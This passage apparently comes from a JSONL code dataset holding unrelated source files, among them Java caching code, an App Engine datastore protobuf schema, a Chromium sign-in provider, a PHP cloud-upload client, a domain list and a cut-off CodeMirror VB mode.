currentPage;\n        Map.Entry> prevEntry, currentEntry;\n        prevEntry = getCache().lowerEntry(targetKey);\n\n        currentEntry = getCache().higherEntry(prevEntry.getKey());\n        if (currentEntry != null) {\n            currentPage = currentEntry.getValue();\n            int compareKeys = compareKeys(targetKey, currentPage.getFirstKey());\n            if (compareKeys < 0) {\n                return false;\n            } else if (compareKeys == 0 && currentPage.keys() == null &&\n                    currentPage.getState() == ExternalMode.DISK_MEMORY_IDENTICAL) {\n                currentPage.setState(ExternalMode.MEMORY_EVICTED);\n                getCache().remove(targetKey);\n                cacheSize.getAndDecrement();\n                return true;\n            }\n        }\n        return false;\n    }\n\n    @Override\n    protected void addToPurgeSet(Page page) {\n        if (!page.getFirstKey().equals(negInf)) {\n            K minKey = page.getFirstKey();\n            removePageFromCache(minKey);\n        }\n    }\n\n\n}\n"}
+{"text": "INCLUDEPATH *= $$[QT_INSTALL_HEADERS]/QtSolutions\ngreaterThan(QT_MAJOR_VERSION, 4) {\nLIBS *= -lQt$${QT_MAJOR_VERSION}Solutions_LockedFile-2.4\n} else {\nLIBS *= -lQtSolutions_LockedFile-2.4\n}\n"}
+{"text": "alyssamilano.ca.tt\nangelinajolie.ca.tt\nannanicolesannanicolesmith.ca.tt\nberkleynude.ca.tt\nbritneyspears.ca.tt\ncamerondiaznude.ca.tt\ndrewbarrymore.ca.tt\nge.tt\ngwynethpaltrow.ca.tt\nhalleberrynude.ca.tt\nheathergraham.ca.tt\nw832297.open.ge.tt\n"}
+{"text": "/*\nCopyright 2013 Michael DiGiovanni glass@mikedg.com\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n   http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n//A good 80% of this app is from the Android SDK home app sample\npackage com.mikedg.android.glass.launchy;\n\nimport android.app.Activity;\nimport android.content.ComponentName;\nimport android.content.Intent;\nimport android.net.Uri;\nimport android.os.Bundle;\n\npublic class LaunchActivity extends Activity {\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n\n        Uri uri = getIntent().getData();\n\n        //FIXME: I cant actually get the open command to give me an option here... wtf...\n        if (uri.getHost().endsWith(\"youtube.com\") && uri.getScheme().startsWith(\"http\")) {\n            //Works\n//            Intent i = new Intent();\n//            i.setAction(\"com.google.glass.action.VIDEOPLAYER\");\n//            i.putExtra(\"video_url\",\"http://www.youtube.com/watch?v=2L5oYI67BCc\");\n//            startActivity(i);\n\n            Intent i = new Intent();\n//            i.setFlags(0x10000000);\n            i.setAction(\"com.google.glass.action.VIDEOPLAYER\");\n            //i.putExtra(\"video_url\",\"http://www.youtube.com/watch?v=yaE2XgB09yU\");//worked\n            i.putExtra(\"video_url\",uri.toString());\n            startActivity(i);\n\n//            adb shell am start -a com.google.glass.action.VIDEOPLAYER  -e video_url http://www.youtube.com/watch?v=2L5oYI67BCc\n        } else if (uri.getScheme().equals(\"youtube\")) {\n            //FIXME: untested\n            //Load up alternate youtube way\n            Intent i = new Intent();\n            i.setAction(\"com.google.glass.action.VIDEOPLAYER\");\n            i.putExtra(\"video_url\",\"http://\" + uri.getHost() + uri.getPath()); //FIXME: check this\n            startActivity(i);\n        } else {\n\n            //Load up app\n            Intent i = new Intent();\n            //getPath includes the leading / so skip it\n            i.setComponent(new ComponentName(uri.getHost(), uri.getPath().substring(1)));\n            i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\n            startActivity(i);\n        }\n        \n        finish();\n        //Toast.makeText(this, \"In LaunchActivity\" + getIntent().getDataString(), Toast.LENGTH_LONG).show();\n    }\n}\n"}
+{"text": "syntax = \"proto2\";\noption go_package = \"datastore\";\n\npackage appengine;\n\nmessage Action{}\n\nmessage PropertyValue {\n  optional int64 int64Value = 1;\n  optional bool booleanValue = 2;\n  optional string stringValue = 3;\n  optional double doubleValue = 4;\n\n  optional group PointValue = 5 {\n    required double x = 6;\n    required double y = 7;\n  }\n\n  optional group UserValue = 8 {\n    required string email = 9;\n    required string auth_domain = 10;\n    optional string nickname = 11;\n    optional string federated_identity = 21;\n    optional string federated_provider = 22;\n  }\n\n  optional group ReferenceValue = 12 {\n    required string app = 13;\n    optional string name_space = 20;\n    repeated group PathElement = 14 {\n      required string type = 15;\n      optional int64 id = 16;\n      optional string name = 17;\n    }\n  }\n}\n\nmessage Property {\n  enum Meaning {\n    NO_MEANING = 0;\n    BLOB = 14;\n    TEXT = 15;\n    BYTESTRING = 16;\n\n    ATOM_CATEGORY = 1;\n    ATOM_LINK = 2;\n    ATOM_TITLE = 3;\n    ATOM_CONTENT = 4;\n    ATOM_SUMMARY = 5;\n    ATOM_AUTHOR = 6;\n\n    GD_WHEN = 7;\n    GD_EMAIL = 8;\n    GEORSS_POINT = 9;\n    GD_IM = 10;\n\n    GD_PHONENUMBER = 11;\n    GD_POSTALADDRESS = 12;\n\n    GD_RATING = 13;\n\n    BLOBKEY = 17;\n    ENTITY_PROTO = 19;\n\n    INDEX_VALUE = 18;\n  };\n\n  optional Meaning meaning = 1 [default = NO_MEANING];\n  optional string meaning_uri = 2;\n\n  required string name = 3;\n\n  required PropertyValue value = 5;\n\n  required bool multiple = 4;\n\n  optional bool searchable = 6 [default=false];\n\n  enum FtsTokenizationOption {\n    HTML = 1;\n    ATOM = 2;\n  }\n\n  optional FtsTokenizationOption fts_tokenization_option = 8;\n\n  optional string locale = 9 [default = \"en\"];\n}\n\nmessage Path {\n  repeated group Element = 1 {\n    required string type = 2;\n    optional int64 id = 3;\n    optional string name = 4;\n  }\n}\n\nmessage Reference {\n  required string app = 13;\n  optional string name_space = 20;\n  required Path path = 14;\n}\n\nmessage User {\n  required string email = 1;\n  required string auth_domain = 2;\n  optional string nickname = 3;\n  optional string federated_identity = 6;\n  optional string federated_provider = 7;\n}\n\nmessage EntityProto {\n  required Reference key = 13;\n  required Path entity_group = 16;\n  optional User owner = 17;\n\n  enum Kind {\n    GD_CONTACT = 1;\n    GD_EVENT = 2;\n    GD_MESSAGE = 3;\n  }\n  optional Kind kind = 4;\n  optional string kind_uri = 5;\n\n  repeated Property property = 14;\n  repeated Property raw_property = 15;\n\n  optional int32 rank = 18;\n}\n\nmessage CompositeProperty {\n  required int64 index_id = 1;\n  repeated string value = 2;\n}\n\nmessage Index {\n  required string entity_type = 1;\n  required bool ancestor = 5;\n  repeated group Property = 2 {\n    required string name = 3;\n    enum Direction {\n      ASCENDING = 1;\n      DESCENDING = 2;\n    }\n    optional Direction direction = 4 [default = ASCENDING];\n  }\n}\n\nmessage CompositeIndex {\n  required string app_id = 1;\n  required int64 id = 2;\n  required Index definition = 3;\n\n  enum State {\n    WRITE_ONLY = 1;\n    READ_WRITE = 2;\n    DELETED = 3;\n    ERROR = 4;\n  }\n  required State state = 4;\n\n  optional bool only_use_if_required = 6 [default = false];\n}\n\nmessage IndexPostfix {\n  message IndexValue {\n    required string property_name = 1;\n    required PropertyValue value = 2;\n  }\n\n  repeated IndexValue index_value = 1;\n\n  optional Reference key = 2;\n\n  optional bool before = 3 [default=true];\n}\n\nmessage IndexPosition {\n  optional string key = 1;\n\n  optional bool before = 2 [default=true];\n}\n\nmessage Snapshot {\n  enum Status {\n    INACTIVE = 0;\n    ACTIVE = 1;\n  }\n\n  required int64 ts = 1;\n}\n\nmessage InternalHeader {\n  optional string qos = 1;\n}\n\nmessage Transaction {\n  optional InternalHeader header = 4;\n  required fixed64 handle = 1;\n  required string app = 2;\n  optional bool mark_changes = 3 [default = false];\n}\n\nmessage Query {\n  optional InternalHeader header = 39;\n\n  required string app = 1;\n  optional string name_space = 29;\n\n  optional string kind = 3;\n  optional Reference ancestor = 17;\n\n  repeated group Filter = 4 {\n    enum Operator {\n      LESS_THAN = 1;\n      LESS_THAN_OR_EQUAL = 2;\n      GREATER_THAN = 3;\n      GREATER_THAN_OR_EQUAL = 4;\n      EQUAL = 5;\n      IN = 6;\n      EXISTS = 7;\n    }\n\n    required Operator op = 6;\n    repeated Property property = 14;\n  }\n\n  optional string search_query = 8;\n\n  repeated group Order = 9 {\n    enum Direction {\n      ASCENDING = 1;\n      DESCENDING = 2;\n    }\n\n    required string property = 10;\n    optional Direction direction = 11 [default = ASCENDING];\n  }\n\n  enum Hint {\n    ORDER_FIRST = 1;\n    ANCESTOR_FIRST = 2;\n    FILTER_FIRST = 3;\n  }\n  optional Hint hint = 18;\n\n  optional int32 count = 23;\n\n  optional int32 offset = 12 [default = 0];\n\n  optional int32 limit = 16;\n\n  optional CompiledCursor compiled_cursor = 30;\n  optional CompiledCursor end_compiled_cursor = 31;\n\n  repeated CompositeIndex composite_index = 19;\n\n  optional bool require_perfect_plan = 20 [default = false];\n\n  optional bool keys_only = 21 [default = false];\n\n  optional Transaction transaction = 22;\n\n  optional bool compile = 25 [default = false];\n\n  optional int64 failover_ms = 26;\n\n  optional bool strong = 32;\n\n  repeated string property_name = 33;\n\n  repeated string group_by_property_name = 34;\n\n  optional bool distinct = 24;\n\n  optional int64 min_safe_time_seconds = 35;\n\n  repeated string safe_replica_name = 36;\n\n  optional bool persist_offset = 37 [default=false];\n}\n\nmessage CompiledQuery {\n  required group PrimaryScan = 1 {\n    optional string index_name = 2;\n\n    optional string start_key = 3;\n    optional bool start_inclusive = 4;\n    optional string end_key = 5;\n    optional bool end_inclusive = 6;\n\n    repeated string start_postfix_value = 22;\n    repeated string end_postfix_value = 23;\n\n    optional int64 end_unapplied_log_timestamp_us = 19;\n  }\n\n  repeated group MergeJoinScan = 7 {\n    required string index_name = 8;\n\n    repeated string prefix_value = 9;\n\n    optional bool value_prefix = 20 [default=false];\n  }\n\n  optional Index index_def = 21;\n\n  optional int32 offset = 10 [default = 0];\n\n  optional int32 limit = 11;\n\n  required bool keys_only = 12;\n\n  repeated string property_name = 24;\n\n  optional int32 distinct_infix_size = 25;\n\n  optional group EntityFilter = 13 {\n    optional bool distinct = 14 [default=false];\n\n    optional string kind = 17;\n    optional Reference ancestor = 18;\n  }\n}\n\nmessage CompiledCursor {\n  optional group Position = 2 {\n    optional string start_key = 27;\n\n    repeated group IndexValue = 29 {\n      optional string property = 30;\n      required PropertyValue value = 31;\n    }\n\n    optional Reference key = 32;\n\n    optional bool start_inclusive = 28 [default=true];\n  }\n}\n\nmessage Cursor {\n  required fixed64 cursor = 1;\n\n  optional string app = 2;\n}\n\nmessage Error {\n  enum ErrorCode {\n    BAD_REQUEST = 1;\n    CONCURRENT_TRANSACTION = 2;\n    INTERNAL_ERROR = 3;\n    NEED_INDEX = 4;\n    TIMEOUT = 5;\n    PERMISSION_DENIED = 6;\n    BIGTABLE_ERROR = 7;\n    COMMITTED_BUT_STILL_APPLYING = 8;\n    CAPABILITY_DISABLED = 9;\n    TRY_ALTERNATE_BACKEND = 10;\n    SAFE_TIME_TOO_OLD = 11;\n  }\n}\n\nmessage Cost {\n  optional int32 index_writes = 1;\n  optional int32 index_write_bytes = 2;\n  optional int32 entity_writes = 3;\n  optional int32 entity_write_bytes = 4;\n  optional group CommitCost = 5 {\n    optional int32 requested_entity_puts = 6;\n    optional int32 requested_entity_deletes = 7;\n  };\n  optional int32 approximate_storage_delta = 8;\n  optional int32 id_sequence_updates = 9;\n}\n\nmessage GetRequest {\n  optional InternalHeader header = 6;\n\n  repeated Reference key = 1;\n  optional Transaction transaction = 2;\n\n  optional int64 failover_ms = 3;\n\n  optional bool strong = 4;\n\n  optional bool allow_deferred = 5 [default=false];\n}\n\nmessage GetResponse {\n  repeated group Entity = 1 {\n    optional EntityProto entity = 2;\n    optional Reference key = 4;\n\n    optional int64 version = 3;\n  }\n\n  repeated Reference deferred = 5;\n\n  optional bool in_order = 6 [default=true];\n}\n\nmessage PutRequest {\n  optional InternalHeader header = 11;\n\n  repeated EntityProto entity = 1;\n  optional Transaction transaction = 2;\n  repeated CompositeIndex composite_index = 3;\n\n  optional bool trusted = 4 [default = false];\n\n  optional bool force = 7 [default = false];\n\n  optional bool mark_changes = 8 [default = false];\n  repeated Snapshot snapshot = 9;\n\n  enum AutoIdPolicy {\n    CURRENT = 0;\n    SEQUENTIAL = 1;\n  }\n  optional AutoIdPolicy auto_id_policy = 10 [default = CURRENT];\n}\n\nmessage PutResponse {\n  repeated Reference key = 1;\n  optional Cost cost = 2;\n  repeated int64 version = 3;\n}\n\nmessage TouchRequest {\n  optional InternalHeader header = 10;\n\n  repeated Reference key = 1;\n  repeated CompositeIndex composite_index = 2;\n  optional bool force = 3 [default = false];\n  repeated Snapshot snapshot = 9;\n}\n\nmessage TouchResponse {\n  optional Cost cost = 1;\n}\n\nmessage DeleteRequest {\n  optional InternalHeader header = 10;\n\n  repeated Reference key = 6;\n  optional Transaction transaction = 5;\n\n  optional bool trusted = 4 [default = false];\n\n  optional bool force = 7 [default = false];\n\n  optional bool mark_changes = 8 [default = false];\n  repeated Snapshot snapshot = 9;\n}\n\nmessage DeleteResponse {\n  optional Cost cost = 1;\n  repeated int64 version = 3;\n}\n\nmessage NextRequest {\n  optional InternalHeader header = 5;\n\n  required Cursor cursor = 1;\n  optional int32 count = 2;\n\n  optional int32 offset = 4 [default = 0];\n\n  optional bool compile = 3 [default = false];\n}\n\nmessage QueryResult {\n  optional Cursor cursor = 1;\n\n  repeated EntityProto result = 2;\n\n  optional int32 skipped_results = 7;\n\n  required bool more_results = 3;\n\n  optional bool keys_only = 4;\n\n  optional bool index_only = 9;\n\n  optional bool small_ops = 10;\n\n  optional CompiledQuery compiled_query = 5;\n\n  optional CompiledCursor compiled_cursor = 6;\n\n  repeated CompositeIndex index = 8;\n\n  repeated int64 version = 11;\n}\n\nmessage AllocateIdsRequest {\n  optional InternalHeader header = 4;\n\n  optional Reference model_key = 1;\n\n  optional int64 size = 2;\n\n  optional int64 max = 3;\n\n  repeated Reference reserve = 5;\n}\n\nmessage AllocateIdsResponse {\n  required int64 start = 1;\n  required int64 end = 2;\n  optional Cost cost = 3;\n}\n\nmessage CompositeIndices {\n  repeated CompositeIndex index = 1;\n}\n\nmessage AddActionsRequest {\n  optional InternalHeader header = 3;\n\n  required Transaction transaction = 1;\n  repeated Action action = 2;\n}\n\nmessage AddActionsResponse {\n}\n\nmessage BeginTransactionRequest {\n  optional InternalHeader header = 3;\n\n  required string app = 1;\n  optional bool allow_multiple_eg = 2 [default = false];\n}\n\nmessage CommitResponse {\n  optional Cost cost = 1;\n\n  repeated group Version = 3 {\n    required Reference root_entity_key = 4;\n    required int64 version = 5;\n  }\n}\n"}
+{"text": "DPDK_20.0 {\n\tglobal:\n\n\trte_ring_create;\n\trte_ring_dump;\n\trte_ring_free;\n\trte_ring_get_memsize;\n\trte_ring_init;\n\trte_ring_list_dump;\n\trte_ring_lookup;\n\n\tlocal: *;\n};\n\nEXPERIMENTAL {\n\tglobal:\n\n\t# added in 19.08\n\trte_ring_reset;\n\n\t# added in 20.02\n\trte_ring_create_elem;\n\trte_ring_get_memsize_elem;\n};\n"}
+{"text": "// Copyright 2020 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\npackage org.chromium.components.signin;\n\nimport androidx.annotation.AnyThread;\nimport androidx.annotation.MainThread;\nimport androidx.annotation.VisibleForTesting;\n\nimport org.chromium.base.Log;\nimport org.chromium.base.ThreadUtils;\nimport org.chromium.base.annotations.CalledByNative;\n\nimport java.util.concurrent.atomic.AtomicReference;\n\n/**\n * AccountManagerFacadeProvider is intended to group all the\n * AccountManagerFacade instance manipulation methods in one place.\n */\npublic class AccountManagerFacadeProvider {\n    private static final String TAG = \"AccManagerProvider\";\n    private static final AtomicReference sAtomicInstance =\n            new AtomicReference<>();\n    private static AccountManagerFacade sInstance;\n    private static AccountManagerFacade sTestingInstance;\n\n    private AccountManagerFacadeProvider() {}\n\n    /**\n     * Sets AccountManagerFacade singleton instance. Can only be called once.\n     * Tests can override the instance with {@link #setInstanceForTests}.\n     *\n     */\n    @MainThread\n    public static void setInstance(AccountManagerFacade accountManagerFacade) {\n        ThreadUtils.assertOnUiThread();\n        if (sInstance != null) {\n            throw new IllegalStateException(\"AccountManagerFacade is already initialized!\");\n        }\n        sInstance = accountManagerFacade;\n        if (sTestingInstance != null) return;\n        sAtomicInstance.set(sInstance);\n    }\n\n    /**\n     * Sets the test instance.\n     */\n    @VisibleForTesting\n    @AnyThread\n    public static void setInstanceForTests(AccountManagerFacade accountManagerFacade) {\n        ThreadUtils.runOnUiThreadBlocking(() -> {\n            sTestingInstance = accountManagerFacade;\n            sAtomicInstance.set(sTestingInstance);\n        });\n    }\n\n    /**\n     * Resets the test instance set with {@link #setInstanceForTests}.\n     */\n    @VisibleForTesting\n    @AnyThread\n    public static void resetInstanceForTests() {\n        ThreadUtils.runOnUiThreadBlocking(() -> {\n            sTestingInstance = null;\n            sAtomicInstance.set(sInstance);\n            Log.d(TAG, \"reset AccountManagerFacade test instance\");\n        });\n    }\n\n    /**\n     * Singleton instance getter. Singleton must be initialized before calling this by\n     * {@link #setInstance} or {@link #setInstanceForTests}.\n     *\n     * @return a singleton instance\n     */\n    @AnyThread\n    @CalledByNative\n    public static AccountManagerFacade getInstance() {\n        AccountManagerFacade instance = sAtomicInstance.get();\n        assert instance != null : \"AccountManagerFacade is not initialized!\";\n        return instance;\n    }\n}\n"}
+{"text": "/*\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.aliyuncs.live.transform.v20161101;\n\r\nimport com.aliyuncs.live.model.v20161101.DeleteMixStreamResponse;\nimport com.aliyuncs.transform.UnmarshallerContext;\n\n\npublic class DeleteMixStreamResponseUnmarshaller {\n\n\tpublic static DeleteMixStreamResponse unmarshall(DeleteMixStreamResponse deleteMixStreamResponse, UnmarshallerContext _ctx) {\n\t\t\r\n\t\tdeleteMixStreamResponse.setRequestId(_ctx.stringValue(\"DeleteMixStreamResponse.RequestId\"));\r\n\t\tdeleteMixStreamResponse.setMixStreamId(_ctx.stringValue(\"DeleteMixStreamResponse.MixStreamId\"));\n\t \n\t \treturn deleteMixStreamResponse;\n\t}\n}"}
+{"text": "timeoutMs = $timeoutMs;\n        $this->maxRetryCount = $maxRetryCount;\n        $this->errorCode = COSAPI_SUCCESS;\n        $this->errorMessage = '';\n        $this->concurrentTaskNumber = self::DEFAULT_CONCURRENT_TASK_NUMBER;\n\n        $this->offset = 0;\n\n        $this->libcurlWrapper = new LibcurlWrapper();\n    }\n\n    public function __destruct() {\n    }\n\n    public function getLastErrorCode() {\n        return $this->errorCode;\n    }\n\n    public function getLastErrorMessage() {\n        return $this->errorMessage;\n    }\n\n    public function getRequestId() {\n        return $this->requestId;\n    }\n\n    public function getAccessUrl() {\n        return $this->accessUrl;\n    }\n\n    public function getResourcePath() {\n        return $this->resourcePath;\n    }\n\n    public function getSourceUrl() {\n        return $this->sourceUrl;\n    }\n\n    /**\n     * Return true on success and return false on failure.\n     */\n    public function initUploading(\n            $signature, $srcFpath, $url, $fileSize, $sliceSize, $bizAttr, $insertOnly) {\n        $this->signature = $signature;\n        $this->srcFpath = $srcFpath;\n        $this->url = $url;\n        $this->fileSize = $fileSize;\n        $this->sliceSize = $sliceSize;\n\n        // Clear error so caller can successfully retry.\n        $this->clearError();\n\n        $request = array(\n            'url' => $url,\n            'method' => 'post',\n            'timeout' => $this->timeoutMs / 1000,\n            'data' => array(\n                'op' => 'upload_slice_init',\n                'filesize' => $fileSize,\n                'slice_size' => $sliceSize,\n                'insertOnly' => $insertOnly,\n            ),\n            'header' => array(\n                'Authorization: ' . $signature,\n            ),\n        );\n\n        if (isset($bizAttr) && strlen($bizAttr)) {\n            $request['data']['biz_attr'] = $bizAttr;\n        }\n\n        $response = $this->sendRequest($request);\n        if ($response === false) {\n            return false;\n        }\n        $this->session = $response['data']['session'];\n\n        if (isset($response['data']['slice_size'])) {\n            $this->sliceSize = $response['data']['slice_size'];\n        }\n\n        if (isset($response['data']['serial_upload']) && $response['data']['serial_upload'] == 1) {\n            $this->concurrentTaskNumber = 1;\n        }\n\n        return true;\n    }\n\n    /**\n     * Return true on success and return false on failure.\n     */\n    public function performUploading() {\n        for ($i = 0; $i < $this->concurrentTaskNumber; ++$i) {\n            if ($this->offset >= $this->fileSize) {\n                break;\n            }\n\n            $sliceContent = file_get_contents($this->srcFpath, false, null, $this->offset, $this->sliceSize);\n            if ($sliceContent === false) {\n                $this->setError(COSAPI_PARAMS_ERROR, 'read file ' . $this->srcFpath . ' error');\n                return false;\n            }\n\n            $request = new HttpRequest();\n            $request->timeoutMs = $this->timeoutMs;\n            $request->url = $this->url;\n            $request->method = 'POST';\n            $request->customHeaders = array(\n                        'Authorization: ' . $this->signature,\n                    );\n            $request->dataToPost = array(\n                        'op' => 'upload_slice_data',\n                        'session' => $this->session,\n                        'offset' => $this->offset,\n                        'filecontent' => $sliceContent,\n                        'datamd5' => md5($sliceContent),\n                    );\n            $request->userData = array(\n                        'retryCount' => 0,\n                    );\n\n            $this->libcurlWrapper->startSendingRequest($request, array($this, 'uploadCallback'));\n\n            $this->offset += $this->sliceSize;\n        }\n\n        $this->libcurlWrapper->performSendingRequest();\n\n        if ($this->errorCode !== COSAPI_SUCCESS) {\n            return false;\n        }\n\n        return true;\n    }\n\n    /**\n     * Return true on success and return false on failure.\n     */\n    public function finishUploading() {\n        $request = array(\n            'url' => $this->url,\n            'method' => 'post',\n            'timeout' => $this->timeoutMs / 1000,\n            'data' => array(\n                'op' => 'upload_slice_finish',\n                'session' => $this->session,\n                'filesize' => $this->fileSize,\n            ),\n            'header' => array(\n                'Authorization: ' . $this->signature,\n            ),\n        );\n\n        $response = $this->sendRequest($request);\n        if ($response === false) {\n            return false;\n        }\n\n        $this->accessUrl = $response['data']['access_url'];\n        $this->resourcePath = $response['data']['resource_path'];\n        $this->sourceUrl = $response['data']['source_url'];\n\n        return true;\n    }\n\n    private function sendRequest($request) {\n        $response = HttpClient::sendRequest($request);\n        if ($response === false) {\n            $this->setError(COSAPI_NETWORK_ERROR, 'network error');\n            return false;\n        }\n\n        $responseJson = json_decode($response, true);\n        if ($responseJson === NULL) {\n            $this->setError(COSAPI_NETWORK_ERROR, 'network error');\n            return false;\n        }\n\n        $this->requestId = $responseJson['request_id'];\n        if ($responseJson['code'] != 0) {\n            $this->setError($responseJson['code'], $responseJson['message']);\n            return false;\n        }\n\n        return $responseJson;\n    }\n\n    private function clearError() {\n        $this->errorCode = COSAPI_SUCCESS;\n        $this->errorMessage = 'success';\n    }\n\n    private function setError($errorCode, $errorMessage) {\n        $this->errorCode = $errorCode;\n        $this->errorMessage = $errorMessage;\n    }\n\n    public function uploadCallback($request, $response) {\n        if ($this->errorCode !== COSAPI_SUCCESS) {\n            return;\n        }\n\n        $requestErrorCode = COSAPI_SUCCESS;\n        $requestErrorMessage = 'success';\n        $retryCount = $request->userData['retryCount'];\n\n        $responseJson = json_decode($response->body, true);\n        if ($responseJson === NULL) {\n            $requestErrorCode = COSAPI_NETWORK_ERROR;\n            $requestErrorMessage = 'network error';\n        }\n\n        if ($response->curlErrorCode !== CURLE_OK) {\n            $requestErrorCode = COSAPI_NETWORK_ERROR;\n            $requestErrorMessage = 'network error: curl errno ' . $response->curlErrorCode;\n        }\n\n        $this->requestId = $responseJson['request_id'];\n        if ($responseJson['code'] != 0) {\n            $requestErrorCode = $responseJson['code'];\n            $requestErrorMessage = $responseJson['message'];\n        }\n\n        if (isset($responseJson['data']['datamd5']) &&\n                $responseJson['data']['datamd5'] !== $request->dataToPost['datamd5']) {\n            $requestErrorCode = COSAPI_INTEGRITY_ERROR;\n            $requestErrorMessage = 'cosapi integrity error';\n        }\n\n        if ($requestErrorCode !== COSAPI_SUCCESS) {\n            if ($retryCount >= $this->maxRetryCount) {\n                $this->setError($requestErrorCode, $requestErrorMessage);\n            } else {\n                $request->userData['retryCount'] += 1;\n                $this->libcurlWrapper->startSendingRequest($request, array($this, 'uploadCallback'));\n            }\n            return;\n        }\n\n        if ($this->offset >= $this->fileSize) {\n            return;\n        }\n\n        // Send next slice.\n        $nextSliceContent = file_get_contents($this->srcFpath, false, null, $this->offset, $this->sliceSize);\n        if ($nextSliceContent === false) {\n            $this->setError(COSAPI_PARAMS_ERROR, 'read file ' . $this->srcFpath . ' error');\n            return;\n        }\n\n        $nextSliceRequest = new HttpRequest();\n        $nextSliceRequest->timeoutMs = $this->timeoutMs;\n        $nextSliceRequest->url = $this->url;\n        $nextSliceRequest->method = 'POST';\n        $nextSliceRequest->customHeaders = array(\n                    'Authorization: ' . $this->signature,\n                );\n        $nextSliceRequest->dataToPost = array(\n                    'op' => 'upload_slice_data',\n                    'session' => $this->session,\n                    'offset' => $this->offset,\n                    'filecontent' => $nextSliceContent,\n                    'datamd5' => md5($nextSliceContent),\n                );\n        $nextSliceRequest->userData = array(\n                    'retryCount' => 0,\n                );\n\n        $this->libcurlWrapper->startSendingRequest($nextSliceRequest, array($this, 'uploadCallback'));\n\n        $this->offset += $this->sliceSize;\n    }\n}\n"}
+{"text": "package zmaster587.advancedRocketry.world.biome;\n\nimport net.minecraft.util.ResourceLocation;\nimport net.minecraft.world.biome.Biome;\nimport zmaster587.advancedRocketry.api.AdvancedRocketryBlocks;\n\npublic class BiomeGenHotDryRock extends Biome {\n\n\tpublic BiomeGenHotDryRock(int biomeId, boolean register) {\n\t\tsuper(new BiomeProperties(\"HotDryRock\").setRainDisabled().setBaseHeight(1f).setHeightVariation(0.01f).setRainfall(0).setTemperature(0.9f));\n\t\t\n        this.setRegistryName(new ResourceLocation(\"advancedrocketry:HotDryRock\"));\n\t\t\n\t\t//hot and stinks\n\t\tthis.decorator.generateFalls=false;\n\t\tthis.decorator.flowersPerChunk=0;\n\t\tthis.decorator.grassPerChunk=0;\n\t\tthis.decorator.treesPerChunk=0;\n\t\tthis.decorator.mushroomsPerChunk=0;\n\t\tthis.fillerBlock = this.topBlock = AdvancedRocketryBlocks.blockHotTurf.getDefaultState();\n\t}\n\t\n\t@Override\n\tpublic float getSpawningChance() {\n\t\treturn 0f; //Nothing spawns\n\t}\n\t\n\t@Override\n\tpublic int getSkyColorByTemp(float p_76731_1_) {\n\t\treturn 0x664444;\n\t}\n}\n"}
+{"text": "// CodeMirror, copyright (c) by Marijn Haverbeke and others\n// Distributed under an MIT license: http://codemirror.net/LICENSE\n\n(function(mod) {\n  if (typeof exports == \"object\" && typeof module == \"object\") // CommonJS\n    mod(require(\"../../lib/codemirror\"));\n  else if (typeof define == \"function\" && define.amd) // AMD\n    define([\"../../lib/codemirror\"], mod);\n  else // Plain browser env\n    mod(CodeMirror);\n})(function(CodeMirror) {\n\"use strict\";\n\nCodeMirror.defineMode(\"vb\", function(conf, parserConf) {\n    var ERRORCLASS = 'error';\n\n    function wordRegexp(words) {\n        return new RegExp(\"^((\" + words.join(\")|(\") + \"))\\\\b\", \"i\");\n    }\n\n    var singleOperators = new RegExp(\"^[\\\\+\\\\-\\\\*/%&\\\\\\\\|\\\\^~<>!]\");\n    var singleDelimiters = new RegExp('^[\\\\(\\\\)\\\\[\\\\]\\\\{\\\\}@,:`=;\\\\.]');\n    var doubleOperators = new RegExp(\"^((==)|(<>)|(<=)|(>=)|(<>)|(<<)|(>>)|(//)|(\\\\*\\\\*))\");\n    var doubleDelimiters = new RegExp(\"^((\\\\+=)|(\\\\-=)|(\\\\*=)|(%=)|(/=)|(&=)|(\\\\|=)|(\\\\^=))\");\n    var tripleDelimiters = new RegExp(\"^((//=)|(>>=)|(<<=)|(\\\\*\\\\*=))\");\n    var identifiers = new RegExp(\"^[_A-Za-z][_A-Za-z0-9]*\");\n\n    var openingKeywords = ['class','module', 'sub','enum','select','while','if','function',  'get','set','property', 'try'];\n    var middleKeywords = ['else','elseif','case', 'catch'];\n    var endKeywords = ['next','loop'];\n\n    var wordOperators = wordRegexp(['and', 'or', 'not', 'xor', 'in']);\n    var commonkeywords = ['as', 'dim', 'break',  'continue','optional', 'then',  'until',\n                          'goto', 'byval','byref','new','handles','property', 'return',\n                          'const','private', 'protected', 'friend', 'public', 'shared', 'static', 'true','false'];\n    var commontypes = ['integer','string','double','decimal','boolean','short','char', 'float','single'];\n\n    var keywords = wordRegexp(commonkeywords);\n    var types = wordRegexp(commontypes);\n    var stringPrefixes = '\"';\n\n    var opening = wordRegexp(openingKeywords);\n    var middle = wordRegexp(middleKeywords);\n    var closing = wordRegexp(endKeywords);\n    var doubleClosing = wordRegexp(['end']);\n    var doOpening = wordRegexp(['do']);\n\n    var indentInfo = null;\n\n\n\n\n    function indent(_stream, state) {\n      state.currentIndent++;\n    }\n\n    function dedent(_stream, state) {\n      state.currentIndent--;\n    }\n    // tokenizers\n    function tokenBase(stream, state) {\n        if (stream.eatSpace()) {\n            return null;\n        }\n\n        var ch = stream.peek();\n\n        // Handle Comments\n        if (ch === \"'\") {\n            stream.skipToEnd();\n            return 'comment';\n        }\n\n\n        // Handle Number Literals\n        if (stream.match(/^((&H)|(&O))?[0-9\\.a-f]/i, false)) {\n            var floatLiteral = false;\n            // Floats\n            if (stream.match(/^\\d*\\.\\d+F?/i)) { floatLiteral = true; }\n            else if 